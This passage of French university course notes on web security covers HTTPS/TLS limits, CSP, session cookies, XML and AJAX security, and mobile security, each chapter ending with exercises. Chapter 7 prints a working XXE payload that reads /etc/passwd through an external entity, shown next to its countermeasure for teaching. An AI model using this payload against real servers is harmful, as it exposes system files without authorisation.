— **Pare-feu applicatif (WAF)** et analyses **SAST/DAST** : détection de motifs d'attaque connus en amont (analyse statique du code) et à l'exécution (tests dynamiques automatisés, scan de l'application en fonctionnement).

Points clés à retenir

— Le Top 10 de l'OWASP est la référence mondiale des risques Web ; le contrôle d'accès défaillant et l'injection y figurent en tête depuis plusieurs éditions.

— Injection SQL, XSS (réfléchi/stocké/DOM-based), CSRF et clickjacking sont les attaques Web à connaître impérativement – chacune illustrée par un exemple concret ci-dessus.

— La cause profonde de l'injection est l'absence de séparation entre code et données ; celle du CSRF est l'envoi automatique des cookies par le navigateur.

— La défense combine validation des entrées, requêtes paramétrées, encodage des sorties, jetons anti-CSRF/`SameSite` et en-têtes de sécurité.

Questions et exercices

1. Décrivez les trois types de XSS et proposez une contre-mesure pour chacun.
2. En quoi une requête paramétrée empêche-t-elle une injection SQL, alors qu'une simple fonction d'échappement des apostrophes peut rester contournable ?
3. Expliquez le principe d'une attaque CSRF et le rôle de l'attribut `SameSite`. Pourquoi l'exemple du virement bancaire fonctionne-t-il avec une requête GET mais serait-il plus difficile avec une requête POST nécessitant un jeton ?
4. Citez cinq en-têtes HTTP de sécurité et leur utilité.
5. Un formulaire de recherche affiche directement le terme recherché dans la page de résultats (« Vous avez cherché : *terme* »), sans aucun encodage. De quelle vulnérabilité s'agit-il ? Proposez un exploit minimal et sa correction.

Sources du chapitre : canevas officiel du module (UEF322, chapitre 3) ; OWASP Top 10, édition 2021 (OWASP Foundation, voir bibliographie) ; exemples d'exploitation construits à des fins pédagogiques à partir de scénarios standards de la littérature en sécurité applicative.

Chapitre 4

Objectifs et problèmes du HTTPS

Objectifs du chapitre

Rappeler le fonctionnement de SSL/TLS et de la PKI, comprendre comment HTTPS renforce la sécurité, et identifier ses limites et modes de défaillance (certificats falsifiés, contenu mixte, MITM).

4.1 Rappel sur le protocole SSL/TLS

HTTPS est simplement HTTP encapsulé dans TLS (*Transport Layer Security*, successeur du protocole SSL des années 1990). TLS assure trois propriétés distinctes, qu'il est important de ne pas confondre :

— la **confidentialité** : les données échangées sont chiffrées, un tiers qui intercepte le trafic ne peut pas les lire ;

— l'**intégrité** : toute altération des données en transit (même un seul octet modifié) est détectée grâce à un code d'authentification de message ;

— l'**authentification** : le client a la garantie de parler au bon serveur (et, plus rarement, le serveur peut aussi authentifier le client).

La négociation (*handshake*) qui démarre chaque connexion TLS combine deux familles de cryptographie complémentaires : la cryptographie **asymétrique** (paire de clés publique/privée), utilisée pour authentifier le serveur et établir de façon sûre une clé de session partagée, et la cryptographie **symétrique**, beaucoup plus rapide, utilisée ensuite pour chiffrer le volume réel des données échangées. C'est un compromis classique : l'asymétrique est coûteuse en calcul mais résout le problème de l'échange initial de clé ; la symétrique est efficace mais suppose que les deux parties partagent déjà un secret.

L'authentification du serveur s'appuie sur des **certificats X.509**, des documents numériques signés qui lient une clé publique à un nom de domaine. Ces certificats sont délivrés par des **autorités de certification** (CA) au sein d'une **infrastructure à clés publiques** (PKI) : le navigateur fait confiance à une liste d'autorités racines préinstallées, et vérifie que le certificat présenté par le serveur remonte, par une chaîne de signatures, jusqu'à l'une de ces autorités de confiance. Toute la sécurité du système repose donc, en dernier ressort, sur l'intégrité de ces autorités.

Certificats à validation étendue (EV SSL)

Pour répondre au problème des autorités qui délivrent des certificats de base après des vérifications minimales, un type de certificat à validation renforcée est apparu, imposant des contrôles plus poussés sur l'identité réelle de l'organisation avant émission. Dans la pratique,

cette distinction reste peu visible pour l'utilisateur final et n'a jamais totalement résolu le problème de fond : la confiance accordée à une autorité de certification est un choix binaire (on lui fait confiance ou pas), qui ne reflète pas la rigueur variable de ses procédures de vérification.

4.2 Renforcer la sécurité grâce au HTTPS

Le simple fait d'activer HTTPS ne suffit pas : plusieurs mesures complémentaires renforcent réellement la protection :

— **HSTS** (*HTTP Strict Transport Security*) : en-tête HTTP par lequel un serveur indique au navigateur de ne plus jamais tenter de connexion en HTTP simple vers ce domaine, même si un lien ou une saisie manuelle pointe vers `http://`. Cela ferme la fenêtre d'attaque du *SSL stripping* décrite plus bas.

— **Redirection systématique** de toute requête HTTP entrante vers son équivalent HTTPS.

— **Versions récentes de TLS** (1.2, et surtout 1.3) associées à des suites cryptographiques robustes offrant la **confidentialité persistante** (*forward secrecy*) : même si la clé privée du serveur est compromise plus tard, les sessions passées interceptées et enregistrées ne peuvent pas être déchiffrées rétroactivement.

— **Gestion rigoureuse des certificats** : renouvellement avant expiration, révocation immédiate en cas de compromission de la clé privée, et éventuellement épinglage de certificat (*certificate pinning*) dans des contextes à haut risque comme les applications mobiles (voir chapitre 8).

En-tête HSTS

```
Strict-Transport-Security: max-age=31536000; includeSubDomains
```

Pendant un an (`max-age` en secondes), le navigateur refusera toute connexion HTTP en clair vers ce domaine *et* tous ses sous-domaines, même si l'utilisateur tape explicitement `http://` dans la barre d'adresse.

4.3 Problèmes et limites du HTTPS

HTTPS protège efficacement contre l'écoute passive, mais son modèle de confiance et son intégration au reste du navigateur présentent des angles morts réels :

— **Certificat falsifié ou CA compromise** : si une seule autorité de certification, parmi les dizaines préinstallées dans un navigateur, est compromise ou négligente, un attaquant peut obtenir un certificat valide pour un domaine qu'il ne possède pas et usurper un site légitime de façon quasiment indétectable par l'utilisateur.

— **Attaque de l'intercepteur (MITM) et *SSL stripping*** : un attaquant positionné entre la victime et le serveur (réseau WiFi public non sécurisé, par exemple) intercepte la première requête HTTP avant toute redirection vers HTTPS, et maintient la victime sur une connexion en clair pendant qu'il communique lui-même en HTTPS avec le vrai serveur – la victime ne voit jamais le cadenas mais ne s'en rend pas forcément compte. C'est exactement ce que HSTS neutralise.

— **Contenu mixte (*mixed content*)** : une page servie en HTTPS qui charge un script, une image ou une feuille de style via une URL en `http://` réintroduit un point d'interception pour cette ressource précise – et un script chargé en clair peut compromettre l'intégrité de toute la page, cadenas ou non.

— **Erreurs de validation** : certificats auto-signés, expirés, ou dont le nom ne correspond pas exactement au domaine visité (y compris les sous-domaines non couverts par un certificat « wildcard »).

— **Désynchronisation avec la Same-Origin Policy** : comme vu au chapitre 2, l'état de la connexion TLS n'est *pas* un composant de l'origine au sens de la SOP – une page HTTP et son équivalent HTTPS partagent le même stockage DOM si le reste de l'origine coïncide. Ce point, largement analysé par Zalewski (2011), signifie concrètement qu'une seule ressource chargée en clair peut suffire à compromettre des données qu'on croyait protégées par ailleurs.

Points clés à retenir

— TLS assure confidentialité, intégrité et authentification via un handshake combinant cryptographie asymétrique (échange de clé) et symétrique (chiffrement des données).

— La confiance repose entièrement sur les certificats X.509 et la PKI : la chaîne de confiance ne vaut que ce que valent ses autorités de certification.

— HTTPS se renforce concrètement par HSTS, l'usage de TLS récent avec forward secrecy, et une gestion rigoureuse du cycle de vie des certificats.

— Ses principaux points faibles restent humains ou organisationnels autant que techniques : CA compromise, SSL stripping en l'absence de HSTS, contenu mixte.

Questions et exercices

1. Décrivez les grandes étapes d'un handshake TLS et expliquez pourquoi il combine cryptographie asymétrique et symétrique plutôt que d'utiliser l'une des deux seule.
2. Qu'est-ce que le contenu mixte et pourquoi affaiblit-il une page HTTPS même si le document principal est bien chargé en HTTPS ?
3. Expliquez précisément comment une attaque de type SSL stripping se déroule, et pourquoi l'en-tête HSTS la neutralise.
4. Quels contrôles le navigateur effectue-t-il sur un certificat serveur avant d'afficher le cadenas ?
5. En quoi la confidentialité persistante (*forward secrecy*) protège-t-elle des sessions passées, même après la compromission future d'une clé privée serveur ?

Sources du chapitre : canevas officiel du module (UEF322, chapitre 4) ; analyse du modèle de confiance HTTPS/PKI et de sa désynchronisation avec la SOP informée par M. Zalewski, The Tangled Web (2011), ouvrage de référence du module (voir bibliographie).

Chapitre 5

Politique de sécurité du contenu (CSP)

Objectifs du chapitre

Comprendre le rôle des Web workers, savoir définir une politique de sécurité du contenu pour limiter les injections, et utiliser l'isolation des cadres (*sandboxed iframes*) pour confiner du contenu tiers.

5.1 Web workers

Les Web workers permettent d'exécuter du JavaScript dans des fils d'arrière-plan, en dehors du fil principal de l'interface. Historiquement, JavaScript s'exécute sur un seul fil dans la page : tout calcul long (traitement d'image, tri d'un grand tableau) bloque l'interface, qui devient inerte pendant l'opération. Les Web workers résolvent ce problème en déportant le calcul dans un contexte séparé, qui tourne en parallèle sans figer la page.

Ce contexte est volontairement **isolé** : un worker n'a pas d'accès direct au DOM, ne peut pas manipuler les éléments de la page, et communique avec le script principal exclusivement par échange de messages asynchrones (`postMessage`, comme vu au chapitre 2 pour la communication inter-origines). Cette isolation est elle-même une mesure de sécurité : elle limite ce qu'un script compromis exécuté dans un worker peut atteindre directement.

Les **service workers** sont une variante plus puissante, orientée réseau : ils agissent comme un mandataire (*proxy*) programmable placé entre la page et le réseau, capable d'intercepter les requêtes, de mettre en cache des ressources et de faire fonctionner une application hors ligne. Cette puissance – un service worker peut continuer à s'exécuter même après la fermeture de l'onglet, et intercepter toutes les requêtes futures du site – impose une exigence de sécurité forte : les navigateurs restreignent leur enregistrement au seul **contexte HTTPS** (avec une exception pour `localhost` en développement).

5.2 Politiques de sécurité du contenu

La **CSP** (*Content Security Policy*) est un en-tête HTTP par lequel le serveur déclare explicitement au navigateur les sources autorisées pour chaque type de ressource chargée par la page (scripts, feuilles de style, images, cadres, polices, etc.). C'est un changement de modèle par rapport à la défense « au cas par cas » : plutôt que de compter uniquement sur l'assainissement de chaque entrée utilisateur, on demande au navigateur d'appliquer une règle globale qui limite ce que *n'importe quel* script – même injecté avec succès – pourrait charger ou exécuter.

Son objectif principal est de réduire l'impact des injections, en particulier du **XSS** (chapitre 3) : même si un attaquant parvient à injecter une balise `<script>`, celle-ci ne s'exécutera que si la politique CSP l'autorise explicitement.

Directives CSP courantes

```
Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://cdn.exemple.dz;
  style-src 'self' 'unsafe-inline';
  img-src *;
  frame-ancestors 'none';
```

- `default-src 'self'` : par défaut, seules les ressources de la même origine sont autorisées.
- `script-src` : les scripts ne peuvent venir que du site lui-même ou du CDN explicitement listé – un script injecté par XSS et hébergé ailleurs sera bloqué.
- `frame-ancestors 'none'` : la page ne peut être intégrée dans aucune iframe d'un autre site (protection contre le clickjacking, chapitre 3).

Pour aller plus loin qu'une simple liste de domaines autorisés (souvent trop large en pratique), la CSP peut recourir à des ***nonces*** (une valeur aléatoire unique générée à chaque chargement de page, associée à chaque balise `<script>` légitime) ou à des **empreintes** (*hash* du contenu exact d'un script autorisé) : seuls les scripts portant le bon nonce ou la bonne empreinte s'exécutent, ce qui bloque de fait tout script injecté, même hébergé sur le même domaine.

Un mode « **report-only** » (`Content-Security-Policy-Report-Only`) permet de déployer une politique en observation, sans rien bloquer, et de recevoir un rapport des violations qui *auraient* été bloquées – une étape recommandée avant d'activer une politique stricte en production, pour éviter de casser des fonctionnalités légitimes non anticipées.

CSP — une défense en profondeur

La CSP reste un mécanisme *complémentaire* : elle atténue les conséquences d'une injection réussie, mais ne remplace pas la validation des entrées et l'encodage des sorties (chapitre 3). Une politique trop permissive (par exemple `script-src 'unsafe-inline'`, qui autorise tout script en ligne) perd l'essentiel de son intérêt contre le XSS.

5.3 Isolation des trames (Sandboxed iframes)

L'attribut `sandbox` d'un élément `iframe` confine le contenu chargé dans un environnement fortement restreint. Par défaut, dès que cet attribut est présent (même vide), le navigateur désactive :

- l'exécution de scripts à l'intérieur du cadre ;
- la soumission de formulaires ;
- la navigation de haut niveau (le cadre ne peut pas rediriger la fenêtre parente) ;
- l'accès à l'origine parente, même si les deux documents partagent la même origine par ailleurs.

Les capacités sont ensuite réaccordées **sélectivement**, une par une, au moyen de jetons explicites : `allow-scripts`, `allow-forms`, `allow-same-origin`, `allow-popups`, etc.

Intégrer un widget tiers en toute sécurité

```
<iframe src="https://widget-tiers.dz/carte"
        sandbox="allow-scripts allow-same-origin">
</iframe>
```

Le widget peut exécuter du JavaScript et accéder à ses propres cookies, mais ne peut ni soumettre de formulaire ni rediriger la page principale – une combinaison typique pour intégrer un contenu tiers semi-fiable (carte interactive, lecteur vidéo) sans lui laisser un contrôle total sur la page hôte.

Ce mécanisme est essentiel pour intégrer du contenu tiers (publicités, widgets, contenu généré par les utilisateurs affiché dans un cadre séparé) en limitant fortement les dégâts possibles en cas de contenu malveillant – un principe de **moindre privilège** appliqué au niveau du document lui-même.

Points clés à retenir

— Les Web workers exécutent du code en arrière-plan, isolés du DOM ; les service workers, plus puissants (proxy réseau, fonctionnement hors ligne), exigent HTTPS.

— La CSP déclare au navigateur les sources autorisées par type de ressource et atténue surtout le XSS – elle complète mais ne remplace pas les défenses de base du chapitre 3.

— Les *nonces* et les empreintes permettent une CSP stricte même pour des scripts hébergés sur le même domaine.

— L'attribut `sandbox` des iframes confine le contenu tiers par défaut ; les capacités sont réaccordées explicitement, une par une.

Questions et exercices

1. Quelle est la différence entre un Web worker et un service worker ? Pourquoi ce dernier exige-t-il HTTPS ?
2. Écrivez une directive CSP autorisant uniquement les scripts issus de la même origine et bloquant toute intégration de la page dans une iframe externe.
3. Citez trois restrictions imposées par défaut à un iframe en mode sandbox, et expliquez comment en réaccorder une seule de façon sûre.
4. Pourquoi la CSP est-elle qualifiée de défense « en profondeur » plutôt que de solution unique contre le XSS ? Reliez votre réponse aux techniques de protection vues au chapitre 3.
5. Un développeur configure `script-src 'unsafe-inline'` pour ne pas avoir à refactoriser son code. Quel est l'impact de ce choix sur l'efficacité de la CSP contre le XSS ?

Sources du chapitre : canevas officiel du module (UEF322, chapitre 5) ; spécifications techniques standards – Content Security Policy (W3C) et documentation MDN Web Docs sur les Web workers, service workers et l'attribut `sandbox` des iframes.

Chapitre 6

Suivi de session et authentification

Objectifs du chapitre

Savoir comment un site est authentifié, comprendre les mécanismes de gestion d'état entre client et serveur, et maîtriser la sécurité des cookies et l'intégrité des sessions.

6.1 Comment authentifier un site web

L'authentification d'un site repose sur son certificat TLS (chapitre 4) : lorsque le navigateur établit la connexion, il vérifie que le certificat présenté est valide, non expiré, émis pour le domaine exact consulté, et signé par une autorité de certification de confiance. L'indicateur de connexion sécurisée (le cadenas dans la barre d'adresse) traduit uniquement le succès de *ces* vérifications – il garantit qu'on parle bien au serveur associé au nom de domaine affiché, et que la communication est chiffrée, mais ne dit rien sur la légitimité du contenu du site lui-même (un site de phishing parfaitement imité peut très bien afficher un cadenas valide sur son propre domaine).

Symétriquement, c'est le serveur qui doit authentifier l'*utilisateur*, au moyen d'identifiants (login/mot de passe), éventuellement renforcés par une authentification multifacteur (MFA) – un second facteur (code temporaire, clé physique) qui limite fortement l'impact d'un mot de passe volé, notamment par les attaques de phishing vues au chapitre 1.

6.2 Mécanisme sécurisé de surveillance de l'état entre client et serveur

HTTP est, par conception, un protocole **sans état** (*stateless*) : chaque requête est traitée indépendamment des précédentes, le serveur ne « se souvient » de rien entre deux requêtes successives. Ce choix de conception, fait dans les années 1990 pour simplifier et faire passer à l'échelle le Web, pose un problème pratique immédiat : comment un site reconnaît-il qu'une requête provient du même utilisateur, déjà connecté, que la requête précédente ?

La réponse est la **session** : un identifiant unique, généré par le serveur à la connexion, transmis par le client à chaque requête suivante, qui permet au serveur de retrouver le contexte associé (utilisateur connecté, panier d'achat, préférences). Cet identifiant peut être porté par deux mécanismes différents :

— un **cookie de session**, envoyé automatiquement par le navigateur à chaque requête vers le domaine concerné (voir section suivante) ;

— un **jeton** explicite (par exemple un **JWT**, *JSON Web Token*), que le client doit joindre lui-même, typiquement dans un en-tête `Authorization`, ce qui est courant pour les API consommées par des applications mobiles (chapitre 8).

Session sûre

Un mécanisme de session sûr suppose : un identifiant imprévisible et de forte entropie (impossible à deviner par force brute) ; une transmission systématiquement chiffrée (jamais en HTTP simple) ; une durée de vie limitée dans le temps ; une **régénération** de l'identifiant immédiatement après authentification (pour invalider tout identifiant obtenu avant la connexion, voir « fixation de session » ci-dessous) ; et une invalidation effective côté serveur à la déconnexion, pas seulement une suppression côté client.

6.3 Cookies et intégrité de session

Les cookies stockent côté client de petites quantités d'information, dont typiquement l'identifiant de session. Leur sécurité dépend étroitement des attributs fixés par le serveur au moment de leur création :

En-tête `Set-Cookie` sécurisé

```
Set-Cookie: session_id=8f3a...c21; Secure; HttpOnly;
            SameSite=Strict; Max-Age=3600; Path=/
```

— **Secure** : le cookie n'est transmis que sur une connexion HTTPS – sans cet attribut, le même cookie pourrait fuiter en clair si l'utilisateur accède un jour au site en HTTP.

— **HttpOnly** : le cookie est totalement inaccessible depuis `document.cookie` en JavaScript. C'est une protection directe contre le vol de session par XSS (chapitre 3) : même si un script malveillant s'exécute dans la page, il ne peut pas lire ce cookie pour l'exfiltrer.

— **SameSite** : restreint l'envoi automatique du cookie lorsque la requête est déclenchée depuis un autre site. En mode `Strict`, le cookie n'est jamais envoyé dans un contexte inter-site ; en mode `Lax` (valeur par défaut dans les navigateurs récents), il l'est uniquement pour certaines navigations de haut niveau (cliquer un lien) mais pas pour les requêtes déclenchées en arrière-plan. C'est la défense la plus directe contre le CSRF vu au chapitre 3.

— **Domain / Path / Expiration** : délimitent respectivement le ou les domaines concernés, le chemin de l'application concerné, et la durée de validité du cookie.

L'intégrité de session est menacée par deux familles d'attaques distinctes, souvent confondues :

— le **détournement de session** (*session hijacking*) : l'attaquant vole un identifiant de session déjà valide (par XSS, interception réseau non chiffrée, ou malware) et l'utilise pour usurper la session de la victime sans jamais connaître son mot de passe ;

— la **fixation de session** (*session fixation*) : l'attaquant impose *à l'avance* à la victime un identifiant de session qu'il connaît déjà (par exemple via un lien piégé contenant l'identifiant dans l'URL), puis attend que la victime s'authentifie avec cet identifiant – si le serveur ne régénère pas l'identifiant après connexion, l'attaquant peut alors utiliser ce même identifiant, désormais associé à un compte authentifié.

Les bonnes pratiques qui découlent directement de ces deux menaces : identifiants de session robustes et imprévisibles, attributs `Secure`/`HttpOnly`/`SameSite` systématiques, régénération de l'identifiant après authentification (contre la fixation), et expiration/déconnexion réellement effectives côté serveur (contre le détournement prolongé).

Points clés à retenir

— Un site est authentifié par son certificat TLS ; le cadenas reflète des vérifications techniques réussies, pas la légitimité du contenu affiché.

— HTTP étant sans état par conception, la session est le mécanisme qui recrée une continuité entre requêtes, via un cookie ou un jeton imprévisible et protégé.

— Les attributs `Secure`, `HttpOnly` et `SameSite` sont chacun une réponse directe à une menace précise : fuite en clair, vol par XSS, et CSRF.

— Détournement de session (vol d'un identifiant valide) et fixation de session (imposition préalable d'un identifiant) sont les deux menaces principales sur l'intégrité de session, et appellent des contre-mesures différentes.

Questions et exercices

1. Expliquez le rôle respectif des attributs `Secure`, `HttpOnly` et `SameSite`, en associant chacun à la menace précise qu'il neutralise.
2. HTTP étant sans état, comment un serveur reconnaît-il un utilisateur déjà connecté à chaque nouvelle requête ?
3. Différenciez précisément le détournement et la fixation de session, avec un scénario d'attaque pour chacune.
4. Pourquoi faut-il régénérer l'identifiant de session immédiatement après authentification, et pas seulement à la création de la session ?
5. Un jeton de session est transmis dans l'URL (`?session=abc123`) plutôt que dans un cookie. Quels risques supplémentaires cela introduit-il (pensez aux journaux serveur et à l'historique du navigateur) ?

Sources du chapitre : canevas officiel du module (UEF322, chapitre 6) ; discussion des attributs de cookies (`Secure`/`HttpOnly`/`SameSite`) et de leurs interactions informée par M. Zalewski, The Tangled Web (2011), ouvrage de référence du module (voir bibliographie).

Chapitre 7

Sécurité XML et services Web

Objectifs du chapitre

Rappeler les services Web et le rôle de XML, comprendre les vulnérabilités propres à XML, présenter la technologie AJAX et connaître les attaques associées ainsi que leurs défenses.

7.1 Rappel sur les services Web

Un service Web permet à des applications de communiquer via le réseau à l'aide de protocoles standard, indépendamment du langage ou de la plateforme utilisés de chaque côté. Deux grandes familles coexistent aujourd'hui, avec des philosophies très différentes :

— les services de type **SOAP** (*Simple Object Access Protocol*) : messages XML structurés selon un format strict, dont l'interface est décrite formellement par un contrat **WSDL** (*Web Services Description Language*) – une approche verbeuse mais fortement typée, encore répandue dans les systèmes d'entreprise et bancaires ;

— les API de type **REST** (*Representational State Transfer*) : plus légères, s'appuyant directement sur les verbes HTTP (GET, POST, PUT, DELETE) et échangeant le plus souvent des données au format JSON plutôt que XML – devenu le standard de fait pour les API Web modernes.

Ces interfaces exposent directement des fonctionnalités serveur – lecture ou modification de données, déclenchement d'actions métier – et constituent, de ce fait, une **surface d'attaque à part entière**, potentiellement aussi critique que l'interface Web elle-même, mais souvent moins auditée car moins visible qu'une page HTML.

7.2 Sécurité en XML

Le traitement de documents XML introduit des risques spécifiques, liés à la richesse même du format (qui autorise des références internes, des types de document définis dynamiquement, etc.) :

— **Injection XML** : insertion de balises ou de contenu qui détourne l'interprétation du document par l'analyseur, de façon analogue à l'injection SQL (chapitre 3) mais appliquée à la structure XML elle-même.

— **XXE** (*XML External Entity*) : exploitation des entités externes, une fonctionnalité XML légitime permettant à un document de référencer un contenu situé ailleurs.

— **Bombe XML** (*billion laughs*) : expansion exponentielle d'entités internes imbriquées, saturant la mémoire du serveur (déni de service).

Attaque XXE

Une attaque XXE exploite un analyseur XML configuré pour résoudre automatiquement les entités externes déclarées dans la *Document Type Definition* (DTD) d'un document. En définissant une entité qui pointe vers un fichier local du serveur ou une URL interne, l'attaquant peut faire lire au serveur lui-même un contenu sensible (fichier de configuration, secret) ou sonder des services internes normalement inaccessibles depuis l'extérieur – une logique d'attaque proche du SSRF (chapitre 3, risque OWASP A10).

Payload XXE typique

```
<?xml version="1.0"?>
<!DOCTYPE donnees [
  <!ENTITY fuite SYSTEM "file:///etc/passwd">
]>
<donnees>
  <utilisateur>&fuite;</utilisateur>
</donnees>
```

Si l'analyseur XML résout cette entité externe, le contenu du fichier système est inséré dans le document et potentiellement renvoyé au client dans la réponse de l'application – une fuite d'information obtenue sans jamais exploiter de faille applicative « classique ».

Les mécanismes **WS-Security** apportent, pour les services de type SOAP, authentification, intégrité et confidentialité directement au niveau du message XML (signature et chiffrement de tout ou partie du document), indépendamment du transport utilisé. Mais la défense la plus efficace et la plus simple contre XXE et les bombes XML reste préventive : **désactiver la résolution des entités externes** dans la configuration de l'analyseur XML (une option disponible dans toutes les bibliothèques XML modernes) et valider strictement la structure des documents reçus par rapport à un schéma attendu.

7.3 Présentation de la technologie AJAX

AJAX (*Asynchronous JavaScript and XML*, malgré son nom qui date d'une époque où XML dominait ces échanges) désigne un ensemble de techniques permettant à une page déjà chargée d'échanger des données avec le serveur **de façon asynchrone**, sans recharger la page entière – au moyen de l'API historique `XMLHttpRequest` ou de l'API plus récente `fetch`. Les données échangées aujourd'hui sont très majoritairement au format **JSON**, plus léger et plus naturel à manipuler en JavaScript que le XML d'origine.

AJAX a profondément changé l'expérience du Web (chargement partiel, applications « single-page »), mais il multiplie aussi les points d'entrée de données côté client : chaque appel AJAX est une requête réseau à part entière, soumise à la même politique de même origine et aux mêmes règles CORS qu'une navigation classique (chapitre 2).

7.4 Attaques contre AJAX et mécanismes de défense

Les attaques ciblant les échanges AJAX combinent souvent des mécanismes déjà vus dans d'autres chapitres, appliqués à ce contexte particulier :

— **XSS via réponses AJAX** : une donnée renvoyée par une API et insérée sans encodage dans le DOM (chapitre 3) déclenche l'exécution de script, exactement comme un XSS classique, mais la source du contenu malveillant est ici une réponse d'API plutôt qu'un champ de formulaire.

— **CSRF sur points d'accès AJAX** : une requête forgée vers une API authentifiée par cookie, exactement selon le mécanisme du CSRF vu au chapitre 3 – une API REST n'est pas intrinsèquement protégée du CSRF simplement parce qu'elle « n'est pas une page HTML ».

— **Détournement de JSON et fuite de données** : une API mal protégée qui répond différemment selon que la requête est authentifiée ou non peut, dans certains contextes, laisser fuiter des informations à un site tiers.

— **Configuration CORS trop permissive** : un en-tête `Access-Control-Allow-Origin: *` associé par erreur à une API qui renvoie des données utilisateur authentifiées permet à n'importe quel site de lire ces données directement en JavaScript (voir l'exemple du chapitre 2).

Les défenses reposent sur les mêmes principes que pour le reste de l'application Web, appliqués systématiquement aux points d'accès AJAX : encodage de toute donnée injectée dans le DOM, jetons anti-CSRF (ou attribut `SameSite` sur le cookie de session), une politique CORS **restrictive** et explicitement contrôlée côté serveur (jamais un joker `*` sur une API authentifiée), et validation stricte des entrées comme des sorties de chaque point d'accès de l'API.

Points clés à retenir

— Les services Web (SOAP/XML, REST/JSON) exposent directement des fonctionnalités serveur et constituent donc une surface d'attaque à part entière.

— XXE et bombe XML sont les risques emblématiques du traitement XML ; désactiver la résolution des entités externes est la défense la plus simple et la plus efficace.

— AJAX permet des échanges asynchrones mais chaque appel s'inscrit dans la Same-Origin Policy et dépend d'une configuration CORS prudente (chapitre 2).

— Les attaques sur AJAX (XSS, CSRF, CORS laxiste) reprennent les mécanismes du chapitre 3, appliqués aux points d'accès d'API.

Questions et exercices

1. Décrivez une attaque XXE étape par étape, et sa contre-mesure principale.
2. Qu'est-ce qu'une bombe XML et quel type de menace (parmi confidentialité/intégrité/disponibilité) représente-t-elle principalement ?
3. Comment une configuration CORS trop permissive peut-elle être exploitée sur une API renvoyant des données utilisateur authentifiées ?
4. Citez trois défenses applicables aux points d'accès AJAX, en les reliant chacune à une attaque précise du chapitre 3.
5. Une API REST accepte des requêtes de modification (PUT/DELETE) authentifiées uniquement par cookie de session, sans jeton supplémentaire. Cette API est-elle vulnérable au CSRF ? Justifiez et proposez une correction.

Sources du chapitre : canevas officiel du module (UEF322, chapitre 7) ; documentation technique standard (spécifications W3C/WHATWG pour XML et Fetch, MDN Web Docs) sur XXE, AJAX et CORS.

Chapitre 8

Sécurité mobile

Objectifs du chapitre

Présenter les technologies mobiles et leur écosystème, comprendre le modèle de sécurité des plateformes mobiles, identifier les menaces sur les applications, les réseaux mobiles et la vie privée, et connaître le rôle du chiffrement ainsi que les bonnes pratiques.

8.1 Technologies informatiques mobiles

L'informatique mobile repose sur des terminaux dotés de capteurs, connectés en permanence, exécutant des applications distribuées via des magasins (*stores*). Les principales plateformes sont Android et iOS ; les applications peuvent être natives, hybrides ou Web.

Sur le plan réseau, les communications transitent par des réseaux cellulaires qui ont évolué de la 1G à la 4G/LTE puis la 5G. L'architecture 4G distingue le réseau d'accès (E-UTRAN, stations de base eNB) et le cœur de réseau (EPC), avec deux domaines de sécurité selon la localisation :

— la sécurité de la **strate d'accès** (entre le terminal et l'eNB) ;

— la sécurité de la **strate de non-accès** (entre le terminal et l'entité de gestion de mobilité).

Cette évolution vers des architectures tout-IP et virtualisées a élargi la surface d'attaque (Mavoungou *et al.*, 2016).

8.2 Modèle de sécurité des plateformes mobiles

Les systèmes mobiles isolent chaque application dans un bac à sable, appliquent un modèle de permissions et exigent la signature des applications distribuées via les stores. Sous Android, les permissions se répartissent en permissions « normales » et permissions « dangereuses » (accès à la localisation, aux contacts, au microphone, à la caméra…), ces dernières nécessitant un consentement explicite de l'utilisateur.

8.3 Menaces sur les applications mobiles et rôle du chiffrement

Les applications mobiles présentent des faiblesses récurrentes, particulièrement critiques lorsqu'elles manipulent des données sensibles. Une étude de référence sur les applications de santé mobile (m-health) a analysé un large échantillon d'applications par analyse statique et dynamique du trafic, et a mis en évidence des chiffres alarmants (Papageorgiou *et al.*, 2018) :

— **95,63 %** des applications analysées présentent un risque potentiel pour la vie privée de l'utilisateur (32 % un risque moyen à élevé) ;

— **63,6 %** de l'échantillon envoient des données non chiffrées sur le réseau ;
— **80 %** des applications transmettent les données de santé de l'utilisateur (20 % seulement les stockent localement) ;
— **55 %** des applications transmettent le mot de passe de l'utilisateur, et **45 %** d'entre elles utilisent une requête `GET` — exposant le mot de passe dans l'URL, les journaux serveur et l'historique du navigateur ;
— **50 %** des applications transmettent des données à des tiers (plateformes publicitaires/analytiques ou back-ends cloud).

Ces faiblesses recoupent des problèmes cryptographiques classiques :

— Absence ou insuffisance de chiffrement : transmission ou stockage de données sensibles en clair.
— Mauvaise utilisation de la cryptographie : emploi du mode ECB, vecteurs d'initialisation non aléatoires, clés ou sels statiques, algorithmes obsolètes (DES, RC4, MD5, SHA-1).
— Pratiques de programmation non sécurisées : par exemple l'usage de requêtes `GET` au lieu de `POST` pour transmettre des données sensibles.
— Permissions excessives : demandes de permissions sans rapport avec la fonction annoncée, souvent liées à des bibliothèques publicitaires servant au pistage.

Rôle du chiffrement

Le chiffrement protège les données **au repos** (stockage du terminal) et **en transit** (communications réseau), et sous-tend l'authentification. Encore faut-il l'employer correctement — algorithmes robustes, modes et paramètres adéquats, gestion sûre des clés et génération d'aléa cryptographiquement sûre — faute de quoi la protection n'est qu'apparente.

8.4 Vie privée et protection des données personnelles

Au-delà de la sécurité, la vie privée constitue un enjeu majeur du mobile. L'étude de Papageorgiou *et al.* (2018) révèle que **10 %** des applications de santé analysées n'avaient aucune référence à une politique de confidentialité, et que celles qui en fournissaient une étaient souvent invalides ou trompeuses (lien mort, page non traduite, etc.) — un problème touchant en priorité les applications les moins téléchargées.

Ces données — état de santé, localisation, contacts, identifiants — sont juridiquement sensibles et strictement encadrées par des réglementations telles que le RGPD, dont le respect (consentement, transparence, minimisation, droit à l'effacement) reste souvent défaillant en pratique.

8.5 Menaces sur les réseaux mobiles

Les réseaux mobiles sont exposés à des attaques que l'on peut classer selon la propriété de sécurité visée (Mavoungou *et al.*, 2016) :

— **Confidentialité** : interception, écoute, suivi d'identité.
— **Intégrité** : altération de messages.
— **Disponibilité** : déni de service par saturation ou attaques de signalisation.
— **Authentification** : usurpation de terminal ou d'équipement réseau.

Les points d'entrée des menaces se situent au niveau du réseau d'accès, du cœur de réseau et des réseaux tiers ou d'interconnexion (itinérance, accès non-3GPP, WLAN). On y retrouve notamment l'usurpation (*spoofing*), l'attaque de l'intercepteur (MITM), l'écoute clandestine, le brouillage et les attaques par inondation (*flooding*) ou par signalisation.

8.6 Sécurité des applications générées automatiquement

